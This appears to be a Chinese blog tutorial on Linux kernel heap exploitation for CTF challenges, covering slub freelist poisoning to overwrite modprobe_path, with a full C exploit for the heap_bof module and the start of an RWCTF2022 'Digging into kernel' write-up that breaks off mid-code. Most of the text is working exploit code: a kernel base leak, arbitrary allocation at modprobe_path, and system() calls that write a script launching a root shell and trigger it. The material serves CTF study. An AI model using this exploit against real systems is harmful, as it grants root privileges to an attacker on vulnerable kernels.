51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

Linux kernel 堆溢出利用方法(三)

前言

本文我们通过我们的老朋友 heap_bof 来讲解 Linux kernel 中任意地址申请的其中一种比赛比较常用的利用手法 modprobe_path (虽然在高版本内核已经不可用了但ctf比赛还是比较常用的)。再通过两道近期比赛的赛题来讲解。

Arbitrary Address Allocation

利用思路

通过 uaf 修改 objectfree list 指针实现任意地址分配。与 glibc 不同的是,内核的 slub 堆管理器缺少检查,因此对要分配的目标地址要求不高,不过有一点需要注意:当我们分配到目标地址时会把目标地址前 8 字节的数据会被写入 freelist ,而这通常并非一个有效的地址,从而导致 kernel panic ,因此在任意地址分配时最好确保目标 objectfree list 字段为 NULL

当能够任意地址分配的时候,与 glibc 改 hook 类似,在内核中通常修改的是 modprobe_pathmodprobe_path 是内核中的一个变量,其值为 /sbin/modprobe ,因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe 字符串的方式定位这个变量。

当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链:

              
                
                  entry_SYSCALL_64
                
                ()
              
              

              
                    
                
                  sys_execve
                
                ()
              
              

              
                        
                
                  do_execve
                
                ()
              
              

              
                            
                
                  do_execveat_common
                
                ()
              
              

              
                                
                
                  bprm_execve
                
                ()
              
              

              
                                    
                
                  exec_binprm
                
                ()
              
              

              
                                        
                
                  search_binary_handler
                
                ()
              
              

              
                                            
                
                  __request_module
                
                () 
                
                  // wrapped as request_module
                
              
              

              
                                                
                
                  call_modprobe
                
                ()
              
            

其中 call_modprobe() 定义于 kernel/kmod.c ,我们主要关注这部分代码:

              
                
                  static
                
                
                  int
                
                
                  call_modprobe
                
                (
                
                  char
                
                
                  *
                
                
                  module_name
                
                , 
                
                  int
                
                
                  wait
                
                )
              
              

              
                {
              
              

              
                
                      
                
                
                  //...
                
              
              

              
                
                      
                
                
                  argv
                
                [
                
                  0
                
                ] 
                
                  =
                
                
                  modprobe_path
                
                ;
              
              

              
                
                      
                
                
                  argv
                
                [
                
                  1
                
                ] 
                
                  =
                
                
                  "-q"
                
                ;
              
              

              
                
                      
                
                
                  argv
                
                [
                
                  2
                
                ] 
                
                  =
                
                
                  "--"
                
                ;
              
              

              
                
                      
                
                
                  argv
                
                [
                
                  3
                
                ] 
                
                  =
                
                
                  module_name
                
                ;
                
                    
                
                
                  /* check free_modprobe_argv() */
                
              
              

              
                
                      
                
                
                  argv
                
                [
                
                  4
                
                ] 
                
                  =
                
                
                  NULL
                
                ;
              
              

              
                
                
              
              

              
                
                      
                
                
                  info
                
                
                  =
                
                
                  call_usermodehelper_setup
                
                (
                
                  modprobe_path
                
                , 
                
                  argv
                
                , 
                
                  envp
                
                , 
                
                  GFP_KERNEL
                
                ,
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                      
                
                
                      
                
                
                  NULL
                
                , 
                
                  free_modprobe_argv
                
                , 
                
                  NULL
                
                );
              
              

              
                
                      
                
                
                  if
                
                 (
                
                  !
                
                
                  info
                
                )
              
              

              
                
                      
                
                
                      
                
                
                  goto
                
                
                  free_module_name
                
                ;
              
              

              
                
                
              
              

              
                
                      
                
                
                  return
                
                
                  call_usermodehelper_exec
                
                (
                
                  info
                
                , 
                
                  wait
                
                
                  |
                
                
                  UMH_KILLABLE
                
                );
              
              

              
                
                      
                
                
                  //...
                
              
            

在这里调用了函数 call_usermodehelper_exec()modprobe_path 作为可执行文件路径以 root 权限将其执行。 我们不难想到的是:若是我们能够劫持 modprobe_path ,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件,内核将会以 root 权限执行我们的恶意脚本。

或者分析 vmlinux 即可(对于一些没有 call_modprobe() 符号的直接交叉引用即可)。

              
                
                  __int64
                
                
                  _request_module
                
                (
              
              

              
                        
                
                  char
                
                
                  a1
                
                ,
              
              

              
                        
                
                  __int64
                
                
                  a2
                
                ,
              
              

              
                        
                
                  double
                
                
                  a3
                
                ,
              
              

              
                        
                
                  double
                
                
                  a4
                
                ,
              
              

              
                        
                
                  double
                
                
                  a5
                
                ,
              
              

              
                        
                
                  double
                
                
                  a6
                
                ,
              
              

              
                        
                
                  double
                
                
                  a7
                
                ,
              
              

              
                        
                
                  double
                
                
                  a8
                
                ,
              
              

              
                        
                
                  double
                
                
                  a9
                
                ,
              
              

              
                        
                
                  double
                
                
                  a10
                
                ,
              
              

              
                        ...)
              
              

              
                {
              
              

              
                ......
              
              

              
                    
                
                  if
                
                 ( 
                
                  v19
                
                 )
              
              

              
                    {
              
              

              
                ......
              
              

              
                      
                
                  v21
                
                
                  =
                
                
                  call_usermodehelper_setup
                
                (
              
              

              
                              (
                
                  __int64
                
                )
                
                  &
                
                
                  byte_FFFFFFFF82444700
                
                , 
                
                  // modprobe_path
                
              
              

              
                              (
                
                  __int64
                
                )
                
                  v18
                
                ,
              
              

              
                              (
                
                  __int64
                
                )
                
                  &
                
                
                  off_FFFFFFFF82444620
                
                ,
              
              

              
                              
                
                  3264
                
                ,
              
              

              
                              
                
                  0LL
                
                ,
              
              

              
                              (
                
                  __int64
                
                )
                
                  free_modprobe_argv
                
                ,
              
              

              
                              
                
                  0LL
                
                );
              
              

              
                ......
              
              

              
                }
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF82444700
                
                
                  byte_FFFFFFFF82444700
                
                             ; 
                
                  DATA
                
                
                  XREF
                
                : 
                
                  __request_module
                
                :
                
                  loc_FFFFFFFF8108C6D8↑r
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF82444700
                
                                 
                
                  db
                
                
                  2F
                
                
                  h
                
                  ; 
                
                  /
                
                       ; 
                
                  __request_module
                
                
                  +
                
                
                  14
                
                
                  B↑o
                
                 ...                       
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF82444701
                
                                 
                
                  db
                
                  
                
                  73
                
                
                  h
                
                 ; 
                
                  s
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF82444702
                
                                 
                
                  db
                
                  
                
                  62
                
                
                  h
                
                 ; 
                
                  b
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF82444703
                
                                 
                
                  db
                
                  
                
                  69
                
                
                  h
                
                 ; 
                
                  i
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF82444704
                
                                 
                
                  db
                
                  
                
                  6
                
                
                  Eh
                
                 ; 
                
                  n
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF82444705
                
                                 
                
                  db
                
                  
                
                  2F
                
                
                  h
                
                 ; 
                
                  /
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF82444706
                
                                 
                
                  db
                
                  
                
                  6
                
                
                  Dh
                
                 ; 
                
                  m
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF82444707
                
                                 
                
                  db
                
                  
                
                  6F
                
                
                  h
                
                 ; 
                
                  o
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF82444708
                
                                 
                
                  db
                
                  
                
                  64
                
                
                  h
                
                 ; 
                
                  d
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF82444709
                
                                 
                
                  db
                
                  
                
                  70
                
                
                  h
                
                 ; 
                
                  p
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF8244470A
                
                                 
                
                  db
                
                  
                
                  72
                
                
                  h
                
                 ; 
                
                  r
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF8244470B
                
                                 
                
                  db
                
                  
                
                  6F
                
                
                  h
                
                 ; 
                
                  o
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF8244470C
                
                                 
                
                  db
                
                  
                
                  62
                
                
                  h
                
                 ; 
                
                  b
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF8244470D
                
                                 
                
                  db
                
                  
                
                  65
                
                
                  h
                
                 ; 
                
                  e
                
              
              

              
                .
                
                  data
                
                :
                
                  FFFFFFFF8244470E
                
                                 
                
                  db
                
                    
                
                  0
                
              
            

exp

              
                
                  #include "src/pwn_helper.h"
                
              
              

              
                
                
              
              

              
                
                  #define BOF_MALLOC 5
                
              
              

              
                
                  #define BOF_FREE 7
                
              
              

              
                
                  #define BOF_WRITE 8
                
              
              

              
                
                  #define BOF_READ 9
                
              
              

              
                
                
              
              

              
                
                  size_t
                
                
                  modprobe_path
                
                
                  =
                
                
                  0xFFFFFFFF81E48140
                
                ;
              
              

              
                
                  size_t
                
                
                  seq_ops_start
                
                
                  =
                
                
                  0xffffffff81228d90
                
                ;
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  param
                
                 {
              
              

              
                    
                
                  size_t
                
                
                  len
                
                ;
              
              

              
                    
                
                  size_t
                
                
                  *
                
                
                  buf
                
                ;
              
              

              
                    
                
                  long
                
                
                  long
                
                
                  idx
                
                ;
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  void
                
                
                  alloc_buf
                
                (
                
                  int
                
                
                  fd
                
                , 
                
                  struct
                
                
                  param
                
                
                  *
                
                
                  p
                
                )
              
              

              
                {
              
              

              
                    
                
                  printf
                
                (
                
                  "[+] kmalloc len:%lu idx:%lld\n"
                
                , 
                
                  p
                
                
                  ->
                
                
                  len
                
                , 
                
                  p
                
                
                  ->
                
                
                  idx
                
                );
              
              

              
                    
                
                  ioctl
                
                (
                
                  fd
                
                , 
                
                  BOF_MALLOC
                
                , 
                
                  p
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  free_buf
                
                (
                
                  int
                
                
                  fd
                
                , 
                
                  struct
                
                
                  param
                
                
                  *
                
                
                  p
                
                )
              
              

              
                {
              
              

              
                    
                
                  printf
                
                (
                
                  "[+] kfree len:%lu idx:%lld\n"
                
                , 
                
                  p
                
                
                  ->
                
                
                  len
                
                , 
                
                  p
                
                
                  ->
                
                
                  idx
                
                );
              
              

              
                    
                
                  ioctl
                
                (
                
                  fd
                
                , 
                
                  BOF_FREE
                
                , 
                
                  p
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  read_buf
                
                (
                
                  int
                
                
                  fd
                
                , 
                
                  struct
                
                
                  param
                
                
                  *
                
                
                  p
                
                )
              
              

              
                {
              
              

              
                    
                
                  printf
                
                (
                
                  "[+] copy_to_user len:%lu idx:%lld\n"
                
                , 
                
                  p
                
                
                  ->
                
                
                  len
                
                , 
                
                  p
                
                
                  ->
                
                
                  idx
                
                );
              
              

              
                    
                
                  ioctl
                
                (
                
                  fd
                
                , 
                
                  BOF_READ
                
                , 
                
                  p
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  write_buf
                
                (
                
                  int
                
                
                  fd
                
                , 
                
                  struct
                
                
                  param
                
                
                  *
                
                
                  p
                
                )
              
              

              
                {
              
              

              
                    
                
                  printf
                
                (
                
                  "[+] copy_from_user len:%lu idx:%lld\n"
                
                , 
                
                  p
                
                
                  ->
                
                
                  len
                
                , 
                
                  p
                
                
                  ->
                
                
                  idx
                
                );
              
              

              
                    
                
                  ioctl
                
                (
                
                  fd
                
                , 
                
                  BOF_WRITE
                
                , 
                
                  p
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  int
                
                
                  main
                
                ()
              
              

              
                {
              
              

              
                    
                
                  // len buf idx
                
              
              

              
                    
                
                  size_t*
                
                
                  buf
                
                
                  =
                
                
                  malloc
                
                (
                
                  0x500
                
                );
              
              

              
                    
                
                  struct
                
                
                  param
                
                
                  p
                
                
                  =
                
                 {
                
                  0x20
                
                , 
                
                  buf
                
                , 
                
                  0
                
                };
              
              

              
                
                
              
              

              
                    
                
                  printf
                
                (
                
                  "[+] user_buf : %p\n"
                
                , 
                
                  p
                
                .
                
                  buf
                
                );
              
              

              
                    
                
                  int
                
                
                  bof_fd
                
                
                  =
                
                
                  open
                
                (
                
                  "/dev/bof"
                
                , 
                
                  O_RDWR
                
                );
              
              

              
                    
                
                  if
                
                 (
                
                  bof_fd
                
                
                  <
                
                
                  0
                
                ) {
              
              

              
                        
                
                  puts
                
                (
                
                  RED
                
                
                  "[-] Failed to open bof."
                
                
                  NONE
                
                );
              
              

              
                        
                
                  exit
                
                (
                
                  -
                
                
                  1
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  printf
                
                (
                
                  YELLOW
                
                
                  "[*] try to leak kbase\n"
                
                
                  NONE
                
                );
              
              

              
                
                
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  bof_fd
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  free_buf
                
                (
                
                  bof_fd
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                
                
              
              

              
                    
                
                  int
                
                
                  seq_fd
                
                
                  =
                
                
                  open
                
                (
                
                  "/proc/self/stat"
                
                , 
                
                  O_RDONLY
                
                );
              
              

              
                    
                
                  read_buf
                
                (
                
                  bof_fd
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  qword_dump
                
                (
                
                  "leak seq_ops"
                
                , 
                
                  buf
                
                , 
                
                  0x20
                
                );
              
              

              
                
                
              
              

              
                    
                
                  size_t
                
                
                  kernel_offset
                
                
                  =
                
                
                  buf
                
                [
                
                  0
                
                ] 
                
                  -
                
                
                  seq_ops_start
                
                ;
              
              

              
                    
                
                  printf
                
                (
                
                  YELLOW
                
                
                  "[*] kernel_offset %p\n"
                
                
                  NONE
                
                , (
                
                  void*
                
                )
                
                  kernel_offset
                
                );
              
              

              
                    
                
                  modprobe_path
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  printf
                
                (
                
                  LIGHT_BLUE
                
                
                  "[*] modprobe_path addr : %p\n"
                
                
                  NONE
                
                , (
                
                  void*
                
                )
                
                  modprobe_path
                
                );
              
              

              
                    
              
              

              
                    
                
                  p
                
                .
                
                  len
                
                
                  =
                
                
                  0xa8
                
                ;
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  bof_fd
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  free_buf
                
                (
                
                  bof_fd
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                
                
              
              

              
                    
                
                  read_buf
                
                (
                
                  bof_fd
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                
                
              
              

              
                    
                
                  buf
                
                [
                
                  0
                
                ] 
                
                  =
                
                
                  modprobe_path
                
                
                  -
                
                
                  0x20
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  write_buf
                
                (
                
                  bof_fd
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                
                
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  bof_fd
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  alloc_buf
                
                (
                
                  bof_fd
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                
                
              
              

              
                    
                
                  read_buf
                
                (
                
                  bof_fd
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  qword_dump
                
                (
                
                  "leak modprobe_path"
                
                , 
                
                  buf
                
                , 
                
                  0x30
                
                );
              
              

              
                
                
              
              

              
                    
                
                  strcpy
                
                ((
                
                  char
                
                
                  *
                
                ) 
                
                  &
                
                
                  buf
                
                [
                
                  4
                
                ], 
                
                  "/tmp/shell.sh\x00"
                
                );
              
              

              
                    
                
                  write_buf
                
                (
                
                  bof_fd
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  read_buf
                
                (
                
                  bof_fd
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  qword_dump
                
                (
                
                  "leak modprobe_path"
                
                , 
                
                  buf
                
                , 
                
                  0x30
                
                );
              
              

              
                
                
              
              

              
                    
                
                  if
                
                 (
                
                  open
                
                (
                
                  "/shell.sh"
                
                , 
                
                  O_RDWR
                
                ) 
                
                  <
                
                
                  0
                
                ) {
              
              

              
                        
                
                  system
                
                (
                
                  "echo '#!/bin/sh' >> /tmp/shell.sh"
                
                );
              
              

              
                        
                
                  system
                
                (
                
                  "echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh"
                
                );
              
              

              
                        
                
                  system
                
                (
                
                  "chmod +x /tmp/shell.sh"
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  system
                
                (
                
                  "echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake"
                
                );
              
              

              
                    
                
                  system
                
                (
                
                  "chmod +x /tmp/fake"
                
                );
              
              

              
                    
                
                  system
                
                (
                
                  "/tmp/fake"
                
                );
              
              

              
                
                
              
              

              
                    
                
                  return
                
                
                  0
                
                ;
              
              

              
                }
              
            

image-20241119184121356


RWCTF2022 Digging into kernel 1 & 2

题目分析

start.sh

              
                
                  #!/bin/sh
                
              
              

              
                
                
              
              

              
                qemu-system-x86_64 \
              
              

              
                    
                
                  -kernel
                
                 bzImage \
              
              

              
                    
                
                  -initrd
                
                 rootfs.img \
              
              

              
                    
                
                  -append
                
                
                  "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr"
                
                 \
              
              

              
                    
                
                  -cpu
                
                 kvm64,
                
                  +
                
                smep,
                
                  +
                
                smap \
              
              

              
                    
                
                  -monitor
                
                 null \
              
              

              
                    
                
                  --nographic
                
                 \
              
              

              
                    
                
                  -s
                
              
            

逆向分析

              
                
                  int
                
                
                  __cdecl
                
                
                  xkmod_init
                
                ()
              
              

              
                {
              
              

              
                  
                
                  kmem_cache
                
                
                  *
                
                
                  v0
                
                ; 
                
                  // rax
                
              
              

              
                
                
              
              

              
                  
                
                  printk
                
                (
                
                  &
                
                
                  unk_1E4
                
                );
              
              

              
                  
                
                  misc_register
                
                (
                
                  &
                
                
                  xkmod_device
                
                );
              
              

              
                  
                
                  v0
                
                
                  =
                
                 (
                
                  kmem_cache
                
                
                  *
                
                )
                
                  kmem_cache_create
                
                (
                
                  "lalala"
                
                , 
                
                  192LL
                
                , 
                
                  0LL
                
                , 
                
                  0LL
                
                , 
                
                  0LL
                
                );
              
              

              
                  
                
                  buf
                
                
                  =
                
                
                  0LL
                
                ;
              
              

              
                  
                
                  s
                
                
                  =
                
                
                  v0
                
                ;
              
              

              
                  
                
                  return
                
                
                  0
                
                ;
              
              

              
                }
              
            
              
                
                  int
                
                
                  __fastcall
                
                
                  xkmod_release
                
                (
                
                  inode
                
                
                  *
                
                
                  inode
                
                , 
                
                  file
                
                
                  *
                
                
                  file
                
                )
              
              

              
                {
              
              

              
                  
                
                  return
                
                
                  kmem_cache_free
                
                (
                
                  s
                
                , 
                
                  buf
                
                ); 
                
                  // maybe double free
                
              
              

              
                }
              
            
              
                
                  void
                
                
                  __fastcall
                
                
                  xkmod_ioctl
                
                (
                
                  __int64
                
                
                  a1
                
                , 
                
                  int
                
                
                  a2
                
                , 
                
                  __int64
                
                
                  a3
                
                )
              
              

              
                {
              
              

              
                  
                
                  __int64
                
                
                  data
                
                ; 
                
                  // [rsp+0h] [rbp-20h] BYREF
                
              
              

              
                  
                
                  unsigned
                
                
                  int
                
                
                  idx
                
                ; 
                
                  // [rsp+8h] [rbp-18h]
                
              
              

              
                  
                
                  unsigned
                
                
                  int
                
                
                  size
                
                ; 
                
                  // [rsp+Ch] [rbp-14h]
                
              
              

              
                  
                
                  unsigned
                
                
                  __int64
                
                
                  v6
                
                ; 
                
                  // [rsp+10h] [rbp-10h]
                
              
              

              
                                                                
                
                  // v3 __ : 0x8 rsp + 0x0
                
              
              

              
                                                                
                
                  // v4 __ : 0x4 rsp + 0x8
                
              
              

              
                                                                
                
                  // v5 __ : 0x4 rsp + 0xc
                
              
              

              
                  
                
                  v6
                
                
                  =
                
                
                  __readgsqword
                
                (
                
                  0x28u
                
                );
              
              

              
                  
                
                  if
                
                 ( 
                
                  a3
                
                 )
              
              

              
                  {
              
              

              
                    
                
                  copy_from_user
                
                (
                
                  &
                
                
                  data
                
                , 
                
                  a3
                
                , 
                
                  0x10LL
                
                );
              
              

              
                    
                
                  if
                
                 ( 
                
                  a2
                
                
                  ==
                
                
                  0x6666666
                
                 )
              
              

              
                    {
              
              

              
                      
                
                  if
                
                 ( 
                
                  buf
                
                
                  &&
                
                
                  size
                
                
                  <=
                
                
                  0x50
                
                
                  &&
                
                
                  idx
                
                
                  <=
                
                
                  0x70
                
                 )
              
              

              
                      {
              
              

              
                        
                
                  copy_from_user
                
                ((
                
                  char
                
                
                  *
                
                )
                
                  buf
                
                
                  +
                
                 (
                
                  int
                
                )
                
                  idx
                
                , 
                
                  data
                
                , (
                
                  int
                
                )
                
                  size
                
                );
              
              

              
                        
                
                  return
                
                ;
              
              

              
                      }
              
              

              
                    }
              
              

              
                    
                
                  else
                
              
              

              
                    {
              
              

              
                      
                
                  if
                
                 ( 
                
                  a2
                
                
                  !=
                
                
                  0x7777777
                
                 )
              
              

              
                      {
              
              

              
                        
                
                  if
                
                 ( 
                
                  a2
                
                
                  ==
                
                
                  0x1111111
                
                 )
              
              

              
                          
                
                  buf
                
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                )
                
                  kmem_cache_alloc
                
                (
                
                  s
                
                , 
                
                  0xCC0LL
                
                );
              
              

              
                        
                
                  return
                
                ;
              
              

              
                      }
              
              

              
                      
                
                  if
                
                 ( 
                
                  buf
                
                
                  &&
                
                
                  size
                
                
                  <=
                
                
                  0x50
                
                
                  &&
                
                
                  idx
                
                
                  <=
                
                
                  0x70
                
                 )
              
              

              
                      {
              
              

              
                        ((
                
                  void
                
                 (
                
                  __fastcall
                
                
                  *
                
                )(
                
                  __int64
                
                , 
                
                  char
                
                
                  *
                
                , 
                
                  int
                
                ))
                
                  copy_to_user
                
                )(
                
                  data
                
                , (
                
                  char
                
                
                  *
                
                )
                
                  buf
                
                
                  +
                
                 (
                
                  int
                
                )
                
                  idx
                
                , 
                
                  size
                
                );
              
              

              
                        
                
                  return
                
                ;
              
              

              
                      }
              
              

              
                    }
              
              

              
                    
                
                  xkmod_ioctl_cold
                
                ();
              
              

              
                  }
              
              

              
                }
              
            

利用思路

关于内核基址获取,在内核堆基址( page_offset_base ) + 0x9d000 处存放着 secondary_startup_64 函数的地址,而我们可以从 free objectnext 指针获得一个堆上地址,从而去找堆的基址,之后分配到一个 堆基址 + 0x9d000 处的 object 以泄露内核基址,这个地址前面刚好有一片为 NULL 的区域方便我们分配。

              
                
                  #define __PAGE_OFFSET           page_offset_base
                
              
              

              
                
                  #define PAGE_OFFSET
                  
                  
                  
                        
                  
                  ((unsigned long)__PAGE_OFFSET)
                
              
              

              
                
                  #define __va(x)
                  
                  
                  
                        
                  
                  
                        
                  
                  ((void *)((unsigned long)(x)+PAGE_OFFSET))
                
              
              

              
                
                
              
              

              
                
                      
                
                
                  /* Must be perfomed *after* relocation. */
                
              
              

              
                
                      
                
                
                  trampoline_header
                
                
                  =
                
                 (
                
                  struct
                
                
                  trampoline_header
                
                
                  *
                
                )
              
              

              
                
                      
                
                
                      
                
                
                  __va
                
                (
                
                  real_mode_header
                
                
                  ->
                
                
                  trampoline_header
                
                );
              
              

              
                
                      
                
                ...
              
              

              
                
                      
                
                
                  trampoline_header
                
                
                  ->
                
                
                  start
                
                
                  =
                
                 (
                
                  u64
                
                ) 
                
                  secondary_startup_64
                
                ;
              
              

              
                [......]
              
              

              
                
                  // vmlinux 查找 secondary_startup_64 基址
                
              
              

              
                .
                
                  text
                
                :
                
                  FFFFFFFF81000030
                
                 ; 
                
                  void
                
                
                  secondary_startup_64
                
                ()
              
              

              
                [......]
              
              

              
                
                  pwndbg
                
                
                  >
                
                
                  x
                
                
                  /
                
                
                  40
                
                
                  gx
                
                 (
                
                  0xffff9f5d40000000
                
                
                  +
                
                
                  0x9d000
                
                
                  -
                
                
                  0x20
                
              
              

              
                
                  0xffff9f5d4009cfe0
                
                : 
                
                  0X0000000000000000
                
                
                  0X0000000000000000
                
              
              

              
                
                  0xffff9f5d4009cff0
                
                : 
                
                  0X0000000000000000
                
                
                  0X0000000005c0c067
                
              
              

              
                
                  0xffff9f5d4009d000
                
                : 
                
                  0xffffffff97c00030
                
                
                  0X0000000000000901
                
              
              

              
                
                  0xffff9f5d4009d010
                
                : 
                
                  0X00000000000006b0
                
                
                  0X0000000000000000
                
              
              

              
                
                  0xffff9f5d4009d020
                
                : 
                
                  0X0000000000000000
                
                
                  0X0000000000000000
                
              
            

至于 page_offset_base 可以通过 object 上的 free list 泄露的堆地址与上 0xFFFFFFFFF0000000 获取。不同版本可查看 vmmap

exp

              
                
                  #ifndef _GNU_SOURCE
                
              
              

              
                
                  #define _GNU_SOURCE
                
              
              

              
                
                  #endif
                
              
              

              
                
                
              
              

              
                
                  #include <asm/ldt.h>
                
              
              

              
                
                  #include <assert.h>
                
              
              

              
                
                  #include <ctype.h>
                
              
              

              
                
                  #include <errno.h>
                
              
              

              
                
                  #include <fcntl.h>
                
              
              

              
                
                  #include <linux/keyctl.h>
                
              
              

              
                
                  #include <linux/userfaultfd.h>
                
              
              

              
                
                  #include <poll.h>
                
              
              

              
                
                  #include <pthread.h>
                
              
              

              
                
                  #include <sched.h>
                
              
              

              
                
                  #include <semaphore.h>
                
              
              

              
                
                  #include <signal.h>
                
              
              

              
                
                  #include <stdbool.h>
                
              
              

              
                
                  #include <stdint.h>
                
              
              

              
                
                  #include <stdio.h>
                
              
              

              
                
                  #include <stdlib.h>
                
              
              

              
                
                  #include <string.h>
                
              
              

              
                
                  #include <sys/ioctl.h>
                
              
              

              
                
                  #include <sys/ipc.h>
                
              
              

              
                
                  #include <sys/mman.h>
                
              
              

              
                
                  #include <sys/msg.h>
                
              
              

              
                
                  #include <sys/prctl.h>
                
              
              

              
                
                  #include <sys/sem.h>
                
              
              

              
                
                  #include <sys/shm.h>
                
              
              

              
                
                  #include <sys/socket.h>
                
              
              

              
                
                  #include <sys/syscall.h>
                
              
              

              
                
                  #include <sys/types.h>
                
              
              

              
                
                  #include <sys/wait.h>
                
              
              

              
                
                  #include <sys/xattr.h>
                
              
              

              
                
                  #include <unistd.h>
                
              
              

              
                
                  #include <sys/io.h>
                
              
              

              
                
                
              
              

              
                
                  size_t
                
                
                  modprobe_path
                
                
                  =
                
                
                  0xFFFFFFFF82444700
                
                ;
              
              

              
                
                
              
              

              
                
                  void
                
                
                  qword_dump
                
                (
                
                  char
                
                
                  *
                
                
                  desc
                
                , 
                
                  void
                
                
                  *
                
                
                  addr
                
                , 
                
                  int
                
                
                  len
                
                )
              
              

              
                {
              
              

              
                    
                
                  uint64_t
                
                
                  *
                
                
                  buf64
                
                
                  =
                
                 (
                
                  uint64_t
                
                
                  *
                
                ) 
                
                  addr
                
                ;
              
              

              
                    
                
                  uint8_t
                
                
                  *
                
                
                  buf8
                
                
                  =
                
                 (
                
                  uint8_t
                
                
                  *
                
                ) 
                
                  addr
                
                ;
              
              

              
                    
                
                  if
                
                 (
                
                  desc
                
                
                  !=
                
                
                  NULL
                
                ) {
              
              

              
                        
                
                  printf
                
                (
                
                  "[*] %s:\n"
                
                , 
                
                  desc
                
                );
              
              

              
                    }
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  len
                
                
                  /
                
                
                  8
                
                ; 
                
                  i
                
                
                  +=
                
                
                  4
                
                ) {
              
              

              
                        
                
                  printf
                
                (
                
                  "  %04x"
                
                , 
                
                  i
                
                
                  *
                
                
                  8
                
                );
              
              

              
                        
                
                  for
                
                 (
                
                  int
                
                
                  j
                
                
                  =
                
                
                  0
                
                ; 
                
                  j
                
                
                  <
                
                
                  4
                
                ; 
                
                  j
                
                
                  ++
                
                ) {
              
              

              
                            
                
                  i
                
                
                  +
                
                
                  j
                
                
                  <
                
                
                  len
                
                
                  /
                
                
                  8
                
                
                  ?
                
                
                  printf
                
                (
                
                  " 0x%016lx"
                
                , 
                
                  buf64
                
                [
                
                  i
                
                
                  +
                
                
                  j
                
                ]) : 
                
                  printf
                
                (
                
                  "                   "
                
                );
              
              

              
                        }
              
              

              
                        
                
                  printf
                
                (
                
                  "   "
                
                );
              
              

              
                        
                
                  for
                
                 (
                
                  int
                
                
                  j
                
                
                  =
                
                
                  0
                
                ; 
                
                  j
                
                
                  <
                
                
                  32
                
                
                  &&
                
                
                  j
                
                
                  +
                
                
                  i
                
                
                  *
                
                
                  8
                
                
                  <
                
                
                  len
                
                ; 
                
                  j
                
                
                  ++
                
                ) {
              
              

              
                            
                
                  printf
                
                (
                
                  "%c"
                
                , 
                
                  isprint
                
                (
                
                  buf8
                
                [
                
                  i
                
                
                  *
                
                
                  8
                
                
                  +
                
                
                  j
                
                ]) 
                
                  ?
                
                
                  buf8
                
                [
                
                  i
                
                
                  *
                
                
                  8
                
                
                  +
                
                
                  j
                
                ] : 
                
                  '.'
                
                );
              
              

              
                        }
              
              

              
                        
                
                  puts
                
                (
                
                  ""
                
                );
              
              

              
                    }
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  Data
                
                 {
              
              

              
                    
                
                  size_t
                
                
                  *
                
                
                  buf
                
                ;
              
              

              
                    
                
                  u_int32_t
                
                
                  offset
                
                ;
              
              

              
                    
                
                  u_int32_t
                
                
                  size
                
                ;
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  void
                
                
                  alloc_buf
                
                (
                
                  int
                
                
                  fd
                
                , 
                
                  struct
                
                
                  Data
                
                
                  *
                
                
                  data
                
                )
              
              

              
                {
              
              

              
                    
                
                  ioctl
                
                (
                
                  fd
                
                , 
                
                  0x1111111
                
                , 
                
                  data
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  write_buf
                
                (
                
                  int
                
                
                  fd
                
                , 
